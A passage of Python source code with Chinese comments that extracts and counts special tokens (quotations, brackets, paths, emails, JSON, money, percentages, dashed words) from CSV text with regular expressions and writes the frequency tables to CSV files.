text_double_quotation_count,\n text_single_quotation_count,\n text_square_brackets_count,\n text_parenthesis_count,\n text_path_count,\n text_braces_count,\n text_single_char_count,\n text_multiple_char_count,\n text_time_count,\n text_money_count,\n text_percent_count,\n text_dash_count,\n text_multi_dash_count,\n text_special_word_count,\n text_json_count,\n text_email_count,\n non_special_words_record)\n \n# @descrip: 获取一段话,即csv中的一个单元格里的内容,对这段话中的语句进行检测,使用正则表达式进行词的提取\n# @return: tuple, (...,...),返回包含了全部提取词counter的tuple\ndef deal_with_line(text, linenumber, non_special_writer):\n # counter init\n text_mark_quotation_count = defaultdict(Timesline)\n text_square_quotation_count = defaultdict(Timesline)\n text_double_quotation_count = defaultdict(Timesline)\n text_single_quotation_count = defaultdict(Timesline)\n text_square_brackets_count = defaultdict(Timesline)\n text_parenthesis_count = defaultdict(Timesline)\n text_path_count = defaultdict(Timesline)\n text_braces_count = defaultdict(Timesline)\n text_single_char_count = defaultdict(Timesline)\n text_multiple_char_count = defaultdict(Timesline)\n text_time_count = defaultdict(Timesline)\n text_money_count = defaultdict(Timesline)\n text_percent_count = defaultdict(Timesline)\n text_dash_count = defaultdict(Timesline)\n text_multi_dash_count = defaultdict(Timesline)\n text_special_word_count = defaultdict(Timesline)\n text_email_count = defaultdict(Timesline)\n text_json_count = Counter()\n \n # list init\n text_mark_quotation_count_list = []\n text_square_quotation_count_list = []\n text_double_quotation_count_list = []\n text_single_quotation_count_list = []\n text_square_brackets_count_list = []\n text_parenthesis_count_list = []\n text_path_count_list = []\n text_braces_count_list = []\n text_single_char_count_list = []\n text_multiple_char_count_list = []\n text_time_count_list = []\n text_money_count_list = []\n text_percent_count_list = []\n text_dash_count_list = []\n text_multi_dash_count_list = []\n text_special_word_count_list = []\n text_email_count_list = []\n \n # @args: match: 正则匹配到的结果\n # tar_list 存储这个结果的list\n # @return: 将匹配到的结果进行替换所使用的字符串\n def deal(match, tar_list):\n text = match.group()#获取结果\n tar_list.append(text)\n return \"\"\n \n # 字符串处理,每个函数返回丢弃了该正则匹配到的字符串之后的字符串\n # 可以看到text一直在变化\n ## 还原缩略词\n text = replace_abbreviations(text)\n ## 自定义的分词策略,依次匹配,然后分词\n ## 标记符 [('<(>&<)>', 3067), ('<(><<)>', 489), ('<(> <<)>', 85), ('<(><<)>>', 14), ('<(>,<)>', 5)]\n ## 应该在最开始的时候去掉\n text = pat_mark_quotation.sub(lambda m: deal(m, text_mark_quotation_count_list), text) \n ## 处理json字符串\n (temp_count, temp_text) = extract_all_JSON(text)\n text = temp_text\n text_json_count = temp_count\n ## email\n text = pat_email.sub(lambda m: deal(m, text_email_count_list), text) \n ## 路径 e.g. adf:/asd//asd/asd\n text = pat_path.sub(lambda m: deal(m, text_path_count_list), text)\n ## 缩略词 e.g. Uas.Sas.As java Exception\n text = pat_multiple_char.sub(lambda m: deal(m, text_multiple_char_count_list), text) \n ## 用连词符、下划线连接的词中存在空格 e.g. asd-asd_adf' s\n text = pat_dash.sub(lambda m: deal(m, text_dash_count_list), text) \n ## 用连字符链接的词汇 e.g. asd-qds'ad_ad _adwf_ADFR\n text = pat_multi_dash.sub(lambda m: deal(m, text_multi_dash_count_list), text) \n ## 缩略词 e.g. U.S.A.\n text = pat_single_char.sub(lambda m: deal(m, text_single_char_count_list), text) \n ## 时间匹配\n text = pat_time.sub(lambda m: deal(m, text_time_count_list), text) \n ## 货币、百分数 e.g. $出现一次或不出现 小数的匹配\\d+(?:\\.\\d+)? %出现一次或不出现\n text = pat_money.sub(lambda m: deal(m, text_money_count_list), text) \n text = pat_percent.sub(lambda m: deal(m, text_percent_count_list), text) \n ## 特殊字符,字符与数字夹杂 e.g. 12GH3 ##asc313dd\n text = pat_special_word.sub(lambda m: deal(m, text_special_word_count_list), text)\n ## 被双重双引号包裹的\n text = pat_square_quotation.sub(lambda m: deal(m, text_square_quotation_count_list), text) \n ## 被单个双引号包裹的\n text = pat_double_quotation.sub(lambda m: deal(m, text_double_quotation_count_list), text) \n ## 被单引号包裹的\n text = pat_single_quotation.sub(lambda m: deal(m, text_single_quotation_count_list), text) \n ## 被单个[]包裹的\n text = pat_square_brackets.sub(lambda m: deal(m, text_square_brackets_count_list), text) \n ## 被单个()包裹的\n text = pat_parenthesis.sub(lambda m: deal(m, text_parenthesis_count_list), text)\n ## 被单个{}包裹的\n text = pat_braces.sub(lambda m: deal(m, text_braces_count_list), text) \n \n \n non_special_writer.writerow([linenumber, text])\n \n # @args: count: Counter类型,经过这个函数后,count会发生改变\n # tar_list: list 需要统计的list\n # @descrip: 对count进行赋值,每一行都进行一次\n def count_init(count, tar_list, linenumber):\n for item in tar_list:\n count[item] += linenumber\n \n count_init(text_mark_quotation_count, text_mark_quotation_count_list, linenumber)\n count_init(text_square_quotation_count, text_square_quotation_count_list, linenumber)\n count_init(text_double_quotation_count, text_double_quotation_count_list, linenumber)\n count_init(text_single_quotation_count, text_single_quotation_count_list, linenumber)\n count_init(text_square_brackets_count, text_square_brackets_count_list, linenumber)\n count_init(text_parenthesis_count, text_parenthesis_count_list, linenumber)\n count_init(text_path_count, text_path_count_list, linenumber)\n count_init(text_braces_count, text_braces_count_list, linenumber)\n count_init(text_single_char_count, text_single_char_count_list, linenumber)\n count_init(text_multiple_char_count, text_multiple_char_count_list, linenumber)\n count_init(text_time_count, text_time_count_list, linenumber)\n count_init(text_money_count, text_money_count_list, linenumber)\n count_init(text_percent_count, text_percent_count_list, linenumber)\n count_init(text_dash_count, text_dash_count_list, linenumber)\n count_init(text_multi_dash_count, text_multi_dash_count_list, linenumber)\n count_init(text_special_word_count, text_special_word_count_list, linenumber)\n count_init(text_email_count, text_email_count_list, linenumber)\n \n \n return (text_mark_quotation_count,\n text_square_quotation_count,\n text_double_quotation_count,\n text_single_quotation_count,\n text_square_brackets_count,\n text_parenthesis_count,\n text_path_count,\n text_braces_count,\n text_single_char_count,\n text_multiple_char_count,\n text_time_count,\n text_money_count,\n text_percent_count,\n text_dash_count,\n text_multi_dash_count,\n text_special_word_count,\n text_json_count,\n text_email_count)\n\ndef special_word_writer_to_file(writer, counter, toolong_word_writer):\n writer.writerow(['word', 'frequency', 'number_of_line'])\n for (key, value) in sorted(counter.items(), key=lambda k_v: k_v[1].count, reverse=True): #De-dent this block\n if(len(key) < 120):\n writer.writerow([key, value.count, value.linenumber]) #Output both the key and the count \n else:\n toolong_word_writer.writerow([key, value.count, value.linenumber])\n\n# ——————————————————————————程序正式开始————————————————————————————\n# @return: tuple (CounterRecord, list)\n# list: non-special text 经过拆词后的单个词的列表\ndef process_with_csv_file_without_write_file(csv_filename, begin_col, end_col):\n # counter的创建,包含了最终所有的结果\n total_mark_quotation_counter = defaultdict(Timesline)\n total_square_quotation_counter = defaultdict(Timesline)\n total_double_quotation_counter = defaultdict(Timesline)\n total_single_quotation_counter = defaultdict(Timesline)\n total_square_brackets_counter = defaultdict(Timesline)\n total_parenthesis_counter = defaultdict(Timesline)\n total_path_counter = defaultdict(Timesline)\n total_braces_counter = defaultdict(Timesline)\n total_single_char_counter = defaultdict(Timesline)\n total_multiple_char_counter = defaultdict(Timesline)\n total_time_counter = defaultdict(Timesline)\n total_money_counter = defaultdict(Timesline)\n total_percent_counter = defaultdict(Timesline)\n total_dash_counter = defaultdict(Timesline)\n total_multi_dash_counter = defaultdict(Timesline)\n total_special_word_counter = defaultdict(Timesline)\n total_email_counter = defaultdict(Timesline)\n total_json_counter = Counter()\n total_non_special_records = []\n\n with open(csv_filename, \"r\") as f:\n print(\"\"\"\n open the file, please watch out the line number.\\n\n if the running time is so long, please interrupt it on your own.\n \"\"\")\n file = csv.reader(f)\n headers = next(file)\n print(\"The file {csv_filename}'s headers are : {headers}\".format(csv_filename=csv_filename, headers=headers))\n # 定义行号\n line_number = 2\n print(\"it start to process!\")\n for row in file:\n temp_line = row[begin_col: end_col]\n line = ''\n for item in temp_line:\n line = line + \" \" + item\n # if(line_number == 7955):\n # print(\"This line can't be deal with: \\n {line}\".format(line=line))\n # line_number += 1\n # continue\n (temp_mark_quotation_counter, \n temp_square_quotation_counter, \n temp_double_quotation_counter, \n temp_single_quotation_counter, \n temp_square_brackets_counter, \n temp_parenthesis_counter, \n temp_path_counter, \n temp_braces_counter, \n temp_single_char_counter, \n temp_multiple_char_counter, \n temp_time_counter, \n temp_money_counter, \n temp_percent_counter, \n temp_dash_counter, \n temp_multi_dash_counter, \n temp_special_word_counter,\n temp_json_counter,\n temp_email_counter,\n temp_nonSpecial_record) = deal_with_line_without_wirte_file(line, line_number)\n\n merge_counter(total_mark_quotation_counter, temp_mark_quotation_counter)\n merge_counter(total_square_quotation_counter, temp_square_quotation_counter)\n merge_counter(total_double_quotation_counter, temp_double_quotation_counter)\n merge_counter(total_single_quotation_counter, temp_single_quotation_counter)\n merge_counter(total_square_brackets_counter, temp_square_brackets_counter)\n merge_counter(total_parenthesis_counter, temp_parenthesis_counter)\n merge_counter(total_path_counter, temp_path_counter)\n merge_counter(total_braces_counter, temp_braces_counter)\n merge_counter(total_single_char_counter, temp_single_char_counter)\n merge_counter(total_multiple_char_counter, temp_multiple_char_counter)\n merge_counter(total_time_counter, temp_time_counter)\n merge_counter(total_money_counter, temp_money_counter)\n merge_counter(total_percent_counter, temp_percent_counter)\n merge_counter(total_dash_counter, temp_dash_counter)\n merge_counter(total_multi_dash_counter, temp_multi_dash_counter)\n merge_counter(total_special_word_counter, temp_special_word_counter)\n total_json_counter += temp_json_counter\n merge_counter(total_email_counter, temp_email_counter)\n total_non_special_records.append(temp_nonSpecial_record)\n \n line_number += 1\n \n if(line_number % 1000 == 0):\n print(\"line: {line}\".format(line=line_number))\n\n return (CounterRecord(total_mark_quotation_counter,\n total_square_quotation_counter,\n total_double_quotation_counter,\n total_single_quotation_counter,\n total_square_brackets_counter,\n total_parenthesis_counter,\n total_path_counter,\n total_braces_counter,\n total_single_char_counter,\n total_multiple_char_counter,\n total_time_counter,\n total_money_counter,\n total_percent_counter,\n total_dash_counter,\n total_multi_dash_counter,\n total_special_word_counter,\n total_email_counter,\n total_json_counter), total_non_special_records)\n \ndef process_with_csv_without_write_file(csv_filename, begin_col, end_col, process_col_together=True):\n if (process_col_together):\n return process_with_csv_file_without_write_file(csv_filename, begin_col, end_col)\n else:\n record = []\n words = []\n for i in range(begin_col, end_col):\n (temp_record, temp_word) = process_with_csv_file_without_write_file(csv_filename, i, i+1)\n record.append(temp_record)\n words.append(temp_word)\n return (record, words)\n\n\ndef process_with_csv_file(csv_filename, output_folder_name, begin_col, end_col):\n # counter的创建,包含了最终所有的结果\n total_mark_quotation_counter = defaultdict(Timesline)\n total_square_quotation_counter = defaultdict(Timesline)\n total_double_quotation_counter = defaultdict(Timesline)\n total_single_quotation_counter = defaultdict(Timesline)\n total_square_brackets_counter = defaultdict(Timesline)\n total_parenthesis_counter = defaultdict(Timesline)\n total_path_counter = defaultdict(Timesline)\n total_braces_counter = defaultdict(Timesline)\n total_single_char_counter = defaultdict(Timesline)\n total_multiple_char_counter = defaultdict(Timesline)\n total_time_counter = defaultdict(Timesline)\n total_money_counter = defaultdict(Timesline)\n total_percent_counter = defaultdict(Timesline)\n total_dash_counter = defaultdict(Timesline)\n total_multi_dash_counter = defaultdict(Timesline)\n total_special_word_counter = defaultdict(Timesline)\n total_email_counter = defaultdict(Timesline)\n total_json_counter = Counter()\n\n # 非特殊词的初始化\n # todo 1. 分段\n # 2. 分句\n # 3. 分词\n # 4. 统计\n # 4.1 单个单词\n # 4.2 单词词频\n # 4.3 单词所在完整句子\n # 4.4 单词所在的行数(csv中的哪一段) \n non_special_writefile = open(output_folder_name+'non_special.csv', 'w', newline='')\n non_special_writer = csv.writer(non_special_writefile)\n\n # 特殊词的初始化\n # todo 1. 提取词 √\n # 2. 统计词频 √\n # 3. 记录行号 √\n mark_quotation_file = open(output_folder_name+'mark_quotation_count.csv', 'w', newline='')\n square_quotation_file = open(output_folder_name+'square_quotation_count.csv', 'w', newline='')\n double_quotation_file = open(output_folder_name+'double_quotation_count.csv', 'w', newline='')\n single_quotation_file = open(output_folder_name+'single_quotation_count.csv', 'w', newline='')\n square_brackets_file = open(output_folder_name+'square_brackets_count.csv', 'w', newline='')\n parenthesis_file = open(output_folder_name+'parenthesis_count.csv', 'w', newline='')\n path_file = open(output_folder_name+'path_count.csv', 'w', newline='')\n braces_file = open(output_folder_name+'braces_count.csv', 'w', newline='')\n single_char_file = open(output_folder_name+'single_char_count.csv', 'w', newline='')\n multiple_char_file = open(output_folder_name+'multiple_char_count.csv', 'w', newline='')\n time_file = open(output_folder_name+'time_count.csv', 'w', newline='')\n money_file = open(output_folder_name+'money_count.csv', 'w', newline='')\n percent_file = open(output_folder_name+'percent_count.csv', 'w', newline='')\n dash_file = open(output_folder_name+'dash_count.csv', 'w', newline='')\n multi_dash_file = open(output_folder_name+'multi_dash_count.csv', 'w', newline='')\n special_word_file = open(output_folder_name+'special_word_count.csv', 'w', newline='')\n # 特殊符号中,字数过长的\n toolong_word_file = open(output_folder_name+'toolong_word_count.csv', 'w', newline='')\n # json文件\n json_file = open(output_folder_name+'json_count.csv', 'w', newline='')\n # emial文件\n email_file = open(output_folder_name+'email_count.csv', 'w', newline='')\n\n mark_quotation_writer = csv.writer(mark_quotation_file)\n square_quotation_writer = csv.writer(square_quotation_file)\n double_quotation_writer = csv.writer(double_quotation_file)\n single_quotation_writer = csv.writer(single_quotation_file)\n square_brackets_writer = csv.writer(square_brackets_file)\n parenthesis_writer = csv.writer(parenthesis_file)\n path_writer = csv.writer(path_file)\n braces_writer = csv.writer(braces_file)\n single_char_writer = csv.writer(single_char_file)\n multiple_char_writer = csv.writer(multiple_char_file)\n time_writer = csv.writer(time_file)\n money_writer = csv.writer(money_file)\n percent_writer = csv.writer(percent_file)\n dash_writer = csv.writer(dash_file)\n multi_dash_writer = csv.writer(multi_dash_file)\n special_word_writer = csv.writer(special_word_file)\n toolong_word_writer = csv.writer(toolong_word_file)\n json_writer = csv.writer(json_file)\n email_writer = csv.writer(email_file)\n\n with open(csv_filename, \"r\") as f:\n print(\"\"\"\n open the file, please watch out the line number.\\n\n if the running time is so long, please interrupt it on your own.\n \"\"\")\n file = csv.reader(f)\n headers = next(file)\n print(\"The file {csv_filename}'s headers are : {headers}\".format(csv_filename=csv_filename, headers=headers))\n # 定义行号\n line_number = 2\n print(\"it start to process!\")\n for row in file:\n temp_line = row[begin_col: end_col]\n line = ''\n for item in temp_line:\n line = line + \" \" + item\n # if(line_number == 7955):\n # print(\"This line can't be deal with: \\n {line}\".format(line=line))\n # line_number += 1\n # continue\n (temp_mark_quotation_counter, \n temp_square_quotation_counter, \n temp_double_quotation_counter, \n temp_single_quotation_counter, \n temp_square_brackets_counter, \n temp_parenthesis_counter, \n temp_path_counter, \n temp_braces_counter, \n temp_single_char_counter, \n temp_multiple_char_counter, \n temp_time_counter, \n temp_money_counter, \n temp_percent_counter, \n temp_dash_counter, \n temp_multi_dash_counter, \n temp_special_word_counter,\n temp_json_counter,\n temp_email_counter) = deal_with_line(line, line_number, non_special_writer)\n\n merge_counter(total_mark_quotation_counter, temp_mark_quotation_counter)\n merge_counter(total_square_quotation_counter, temp_square_quotation_counter)\n merge_counter(total_double_quotation_counter, temp_double_quotation_counter)\n merge_counter(total_single_quotation_counter, temp_single_quotation_counter)\n merge_counter(total_square_brackets_counter, temp_square_brackets_counter)\n merge_counter(total_parenthesis_counter, temp_parenthesis_counter)\n merge_counter(total_path_counter, temp_path_counter)\n merge_counter(total_braces_counter, temp_braces_counter)\n merge_counter(total_single_char_counter, temp_single_char_counter)\n merge_counter(total_multiple_char_counter, temp_multiple_char_counter)\n merge_counter(total_time_counter, temp_time_counter)\n merge_counter(total_money_counter, temp_money_counter)\n merge_counter(total_percent_counter, temp_percent_counter)\n merge_counter(total_dash_counter, temp_dash_counter)\n merge_counter(total_multi_dash_counter, temp_multi_dash_counter)\n merge_counter(total_special_word_counter, temp_special_word_counter)\n total_json_counter += temp_json_counter\n merge_counter(total_email_counter, temp_email_counter)\n \n line_number += 1\n \n if(line_number % 1000 == 0):\n print(\"line: {line}\".format(line=line_number))\n \n \n special_word_writer_to_file(mark_quotation_writer, total_mark_quotation_counter, toolong_word_writer)\n special_word_writer_to_file(square_quotation_writer, total_square_quotation_counter, toolong_word_writer)\n special_word_writer_to_file(double_quotation_writer, total_double_quotation_counter, toolong_word_writer)\n special_word_writer_to_file(single_quotation_writer, total_single_quotation_counter, toolong_word_writer)\n special_word_writer_to_file(square_brackets_writer, total_square_brackets_counter, toolong_word_writer)\n special_word_writer_to_file(parenthesis_writer, total_parenthesis_counter, toolong_word_writer)\n special_word_writer_to_file(path_writer, total_path_counter, toolong_word_writer)\n special_word_writer_to_file(braces_writer, total_braces_counter, toolong_word_writer)\n special_word_writer_to_file(single_char_writer, total_single_char_counter, toolong_word_writer)\n special_word_writer_to_file(multiple_char_writer, total_multiple_char_counter, toolong_word_writer)\n special_word_writer_to_file(time_writer, total_time_counter, toolong_word_writer)\n special_word_writer_to_file(money_writer, total_money_counter, toolong_word_writer)\n special_word_writer_to_file(percent_writer, total_percent_counter, toolong_word_writer)\n special_word_writer_to_file(dash_writer, total_dash_counter, toolong_word_writer)\n special_word_writer_to_file(multi_dash_writer, total_multi_dash_counter, toolong_word_writer)\n special_word_writer_to_file(special_word_writer, total_special_word_counter, toolong_word_writer)\n special_word_writer_to_file(email_writer, total_email_counter, toolong_word_writer)\n\n for (key, value) in total_json_counter.most_common():\n json_writer.writerow([key, value])\n \n mark_quotation_file.close() \n square_quotation_file.close() \n double_quotation_file.close() \n single_quotation_file.close() \n square_brackets_file.close() \n parenthesis_file.close() \n path_file.close() \n braces_file.close() \n single_char_file.close() \n multiple_char_file.close() \n time_file.close() \n money_file.close() \n percent_file.close() \n dash_file.close() \n multi_dash_file.close() \n special_word_file.close() \n non_special_writefile.close()\n toolong_word_file.close()\n json_file.close()\n email_file.close()\n\n return CounterRecord(total_mark_quotation_counter,\n total_square_quotation_counter,\n total_double_quotation_counter,\n total_single_quotation_counter,\n total_square_brackets_counter,\n total_parenthesis_counter,\n total_path_counter,\n total_braces_counter,\n total_single_char_counter,\n total_multiple_char_counter,\n total_time_counter,\n total_money_counter,\n total_percent_counter,\n total_dash_counter,\n total_multi_dash_counter,\n total_special_word_counter,\n total_email_counter,\n total_json_counter)\n\n# @args:\n# csv_filename: 待分析的csv文件,需要写路径名\n# output_folder_name: 期待输出的文件夹,填写文件夹名字即可,\n# 1. 当process_col_together = True时, \n# 所有文件生成在该文件夹下\n# 2. 当process_col_together = False时,\n# 所有文件生成在该文件下的对应列命名的文件夹下 \n# begin_col: 要分析的,开始的列,计数从0开始, \n# end_col: 要分析的结束的列,计数从0开始,\n# process_col_together=True: 是否将多行合并在一起分析,false的话,对每一列进行分类,分别分析\n# @descrip: \n# 1. 开始行和结束行采用前闭后开格式,\n# 比如 begin_col = 0, end_col = 1,只会处理第0列的数据\n# 2. end_col可以大于当前列数,但是多出来的列不会有处理结果\n# 3. 目前代码存在一定bug,第3列的第7955行数据,不知道为什么就是不能处理,会陷入死循环,目测是正则的问题\n# @return:\n# 1. process_col_together=True时\n# 返回一个namedtuple 类型是 CounterRecord,其中CounterRecord 有18个属性,可以通过 . 直接访问。\n# 以 _dict 结尾的属性,类型是 collections.defaultdict\n# 以 _counter 结尾的属性,类型是 collections.Counter\n# 2. process_col_together=False时\n# 返回一个 list,其中元素为待分析的每一列的结果,类型为 namedtuple 类型名是 CounterRecord\n# @what is collections.defaultdict:\n# 是一个字典的拓展,可以存储k-v对,可以添加的限制是 v 类型必须为指定类型\n# 这里的v类型是 sap_parse中定义的 Timesline类型\n# 这里的k类型是 字符串,表示出现过的文本\n# @what is Timesline:\n# sap_parse中自定义的数据结构。\n# 数据结构定义\n# Timesline@data: \n# self.count:\n# @type: int \n# @descrip: 记录某个词出现的频率\n# self.linenumer:\n# @type: list\n# @descrip: 记录某个词出现的所有行数 \ndef process_with_csv(csv_filename, output_folder_name, begin_col, end_col, process_col_together=True):\n if (process_col_together):\n folder = os.path.exists(output_folder_name) \n if not folder: #判断是否存在文件夹如果不存在则创建为文件夹 \n os.makedirs(output_folder_name) #makedirs 创建文件时如果路径不存在会创建这个路径 \n print(\"Create new folder: {path}\".format(path=output_folder_name))\n return process_with_csv_file(csv_filename, output_folder_name+'/', begin_col, end_col)\n else:\n record = []\n for i in range(begin_col, end_col):\n folder_path = '{n}/{i}'.format(n=output_folder_name, i=i)\n folder = os.path.exists(folder_path) \n if not folder: #判断是否存在文件夹如果不存在则创建为文件夹 \n os.makedirs(folder_path) #makedirs 创建文件时如果路径不存在会创建这个路径 \n print(\"Create new folder: {path}\".format(path=folder_path))\n \n record.append(process_with_csv_file(csv_filename, folder_path+'/', i, i+1))\n return record\n \nProcessRecord = namedtuple('ProcessRecord', [\"mark_quotation_counter\",\n \"square_quotation_counter\",\n \"double_quotation_counter\",\n \"single_quotation_counter\",\n \"square_brackets_counter\",\n \"parenthesis_counter\",\n \"path_counter\",\n \"braces_counter\",\n \"single_char_counter\",\n \"multiple_char_counter\",\n \"time_counter\",\n \"money_counter\",\n \"percent_counter\",\n \"dash_counter\",\n \"multi_dash_counter\",\n \"special_word_counter\",\n \"json_counter\",\n \"email_counter\",\n \"non_special_text\"])\n\ndef check_name(name):\n conditions = {\n \"square_quotation_counter\" : True,\n \"double_quotation_counter\" : True,\n \"single_quotation_counter\" : True,\n \"square_brackets_counter\" : True,\n \"parenthesis_counter\" : True,\n \"braces_counter\" : True,\n \"dash_counter\" : True,\n \"multi_dash_counter\" : True \n }\n\n return conditions.get(name, False)\n\ndef tokenize_for_counter(counter):\n c = Counter()\n for text in counter.keys():\n times = counter[text]\n text = pat_letter.sub(' ', text).strip().lower()\n words = word_tokenize(text)\n words = words * times\n c += Counter(words)\n return c \n\ndef process_square_quotation_counter(counter):\n # 因为正则的先后顺序原因,直接分词就可以\n return tokenize_for_counter(counter)\n\n \ndef process_double_quotation_counter(counter):\n # 因为正则的先后顺序原因,直接分词就可以\n return tokenize_for_counter(counter)\n\ndef process_single_quotation_counter(counter):\n # 因为正则的先后顺序原因,直接分词就可以\n return tokenize_for_counter(counter)\n\ndef process_parenthesis_counter(counter):\n # 直接分词\n return tokenize_for_counter(counter)\n\ndef process_braces_counter(counter):\n # 直接分词\n return tokenize_for_counter(counter)\n\ndef process_square_brackets_counter(counter):\n # [thr \\d] 是特殊词\n # 其他的直接分词\n # 匹配所有不是英文字母、空格的字符串\n\n # @args: match: 正则匹配到的结果\n # tar_list 存储这个结果的list\n # @return: 将匹配到的结果进行替换所使用的字符串\n def deal(match, tar_list, times):\n text = match.group()#获取结果\n tar_list += [text]*times\n return \"\"\n\n pat_thr = re.compile(r\"(?:thr)\\s+\\d+\")\n special_word_list = []\n \n plain_text_counter = Counter()\n\n for text in counter.keys():\n times = counter[text]\n text = pat_thr.sub(lambda m: deal(m, special_word_list, times), text)\n text = pat_letter.sub(' ', text).strip().lower()\n words = word_tokenize(text)\n words = words * times\n plain_text_counter += Counter(words)\n \n return (plain_text_counter, Counter(special_word_list))\n\ndef process_dash_counter(counter):\n # 直接分词 单独做一个词库\n # 去掉纯数字 留下数英夹杂的词\n dash_words = Counter()\n\n pat_not_word = re.compile(r\"[^\\w]|[_\\-\\']\")\n pat_pure_number = re.compile(r\"\\b\\d+\\b\")\n\n for text in counter.keys():\n times = counter[text]\n text = pat_not_word.sub(\" \", text)\n text = pat_pure_number.sub(\" \", text)\n words = word_tokenize(text)\n words = words * times\n dash_words += Counter(words)\n\n return dash_words\n\ndef process_multi_dash_counter(counter):\n # 直接分词 单独做一个词库\n # 去掉纯数字 留下数英夹杂的词\n return process_dash_counter(counter)\n\ndef choose_func_for_name(name):\n conditions = {\n \"square_quotation_counter\" : process_square_quotation_counter,\n \"double_quotation_counter\" : process_double_quotation_counter,\n \"single_quotation_counter\" : process_single_quotation_counter,\n \"square_brackets_counter\" : process_square_brackets_counter,\n \"parenthesis_counter\" : process_parenthesis_counter,\n \"braces_counter\" : process_braces_counter,\n \"dash_counter\" : process_dash_counter,\n \"multi_dash_counter\" : process_multi_dash_counter\n }\n\n return conditions.get(name, False)\n\ndef merge_records(totol_records, temp_records_dict):\n plain_text_counter = Counter()\n dash_words_counter = Counter()\n special_words_counter = Counter()\n\n def deal_with_square_brackets_counter(result, plain_text_counter, dash_words_counter, special_words_counter):\n (plain_counter, special_counter) = result\n special_words_counter += special_counter\n plain_text_counter += plain_counter\n \n def deal_with_dash_counter(result, plain_text_counter, dash_words_counter, special_words_counter):\n dash_words_counter += result\n \n def deal_with_others(result, plain_text_counter, dash_words_counter, special_words_counter):\n plain_text_counter += result\n \n def check_name(name):\n conditions = {\n \"square_quotation_counter\" : deal_with_others,\n \"double_quotation_counter\" : deal_with_others,\n \"single_quotation_counter\" : deal_with_others,\n \"square_brackets_counter\" : deal_with_square_brackets_counter,\n \"parenthesis_counter\" : deal_with_others,\n \"braces_counter\" : deal_with_others,\n \"dash_counter\" : deal_with_dash_counter,\n \"multi_dash_counter\" : deal_with_dash_counter\n }\n\n return conditions.get(name, False)\n \n for name in temp_records_dict.keys():\n handle_func = check_name(name)\n handle_func(temp_records_dict[name], plain_text_counter, dash_words_counter, special_words_counter)\n \n final_records = {}\n final_records[\"part_json\"] = Counter()\n final_records[\"part_money\"] = Counter()\n final_records[\"part_percent\"] = Counter()\n final_records[\"part_email\"] = Counter()\n final_records[\"part_time\"] = Counter()\n\n final_records[\"part_path\"] = Counter()\n final_records[\"part_exception\"] = Counter()\n\n final_records[\"part_special\"] = Counter()\n final_records[\"part_non_special\"] = Counter()\n\n final_records[\"part_money\"] += totol_records[\"money_counter\"]\n final_records[\"part_percent\"] += totol_records[\"percent_counter\"]\n final_records[\"part_json\"] += totol_records[\"json_counter\"]\n final_records[\"part_email\"] += totol_records[\"email_counter\"]\n final_records[\"part_time\"] += totol_records[\"time_counter\"]\n\n final_records[\"part_path\"] += totol_records[\"path_counter\"]\n final_records[\"part_exception\"] += totol_records[\"multiple_char_counter\"]\n\n final_records[\"part_special\"] += special_words_counter\n final_records[\"part_special\"] += totol_records[\"special_word_counter\"]\n\n \n text = pat_letter.sub(' ', totol_records[\"text\"]).strip().lower()\n words = word_tokenize(text)\n final_records[\"part_non_special\"] += Counter(words)\n final_records[\"part_non_special\"] += plain_text_counter\n\n final_records[\"dash_counter\"] = dash_words_counter\n\n return final_records\n\ndef process_with_paragraph(paragraph):\n records = process_with_paragraph_step1(paragraph)\n todo_list = []\n for name in records.keys():\n if check_name(name):\n if len(records[name]) != 0:\n todo_list.append(name)\n\n if todo_list:\n temp_records = {}\n for name in todo_list:\n handle_func = choose_func_for_name(name)\n temp_records[name] = handle_func(records[name])\n records = merge_records(records, temp_records)\n else:\n final_records = {}\n final_records[\"part_json\"] = Counter()\n final_records[\"part_money\"] = Counter()\n final_records[\"part_percent\"] = Counter()\n final_records[\"part_email\"] = Counter()\n final_records[\"part_time\"] = Counter()\n\n final_records[\"part_path\"] = Counter()\n final_records[\"part_exception\"] = Counter()\n\n final_records[\"part_special\"] = Counter()\n final_records[\"part_non_special\"] = Counter()\n final_records[\"dash_counter\"] = Counter()\n\n final_records[\"part_money\"] += records[\"money_counter\"]\n final_records[\"part_percent\"] += records[\"percent_counter\"]\n final_records[\"part_json\"] += records[\"json_counter\"]\n final_records[\"part_email\"] += records[\"email_counter\"]\n final_records[\"part_time\"] += records[\"time_counter\"]\n\n final_records[\"part_path\"] += records[\"path_counter\"]\n final_records[\"part_exception\"] += records[\"multiple_char_counter\"]\n\n final_records[\"part_special\"] += records[\"special_word_counter\"]\n \n text = pat_letter.sub(' ', records[\"text\"]).strip().lower()\n words = word_tokenize(text)\n final_records[\"part_non_special\"] += Counter(words)\n\n records = final_records\n\n # 停用词 去除非英文词\n non_special_words = list(records[\"part_non_special\"].elements())\n filtered_words = [word for word in non_special_words if word not in stopwords.words('english')]\n filtered_words = [word for word in filtered_words if wordnet.synsets(word)]\n records[\"part_non_special\"] = Counter(filtered_words)\n\n # path 修正\n def check_path(text):\n new_text = pat_letter.sub('', text).strip()\n if(len(new_text) == 0):\n return False\n else:\n return True\n\n\n path_words = list(records[\"part_path\"].elements())\n filter_words = [word for word in path_words if check_path(word)]\n records[\"part_path\"] = Counter(filter_words)\n\n # exception\n exception_words = list(records[\"part_exception\"].elements())\n filter_words = [word for word in exception_words if check_path(word)]\n records[\"part_exception\"] = Counter(filter_words)\n\n return records\n\ndef process_with_paragraph_step1(paragraph):\n text = paragraph\n # counter\n text_mark_quotation_count = Counter()\n text_square_quotation_count = Counter()\n text_double_quotation_count = Counter()\n text_single_quotation_count = Counter()\n text_square_brackets_count = Counter()\n text_parenthesis_count = Counter()\n text_path_count = Counter()\n text_braces_count = Counter()\n text_single_char_count = Counter()\n text_multiple_char_count = Counter()\n text_time_count = Counter()\n text_money_count = Counter()\n text_percent_count = Counter()\n text_dash_count = Counter()\n text_multi_dash_count = Counter()\n text_special_word_count = Counter()\n text_email_count = Counter()\n text_json_count = Counter()\n\n # list init\n text_mark_quotation_count_list = []\n text_square_quotation_count_list = []\n text_double_quotation_count_list = []\n text_single_quotation_count_list = []\n text_square_brackets_count_list = []\n text_parenthesis_count_list = []\n text_path_count_list = []\n text_braces_count_list = []\n text_single_char_count_list = []\n text_multiple_char_count_list = []\n text_time_count_list = []\n text_money_count_list = []\n text_percent_count_list = []\n text_dash_count_list = []\n text_multi_dash_count_list = []\n text_special_word_count_list = []\n text_email_count_list = []\n text_json_count_list = []\n\n # @args: match: 正则匹配到的结果\n # tar_list 存储这个结果的list\n # @return: 将匹配到的结果进行替换所使用的字符串\n def deal(match, tar_list):\n text = match.group()#获取结果\n 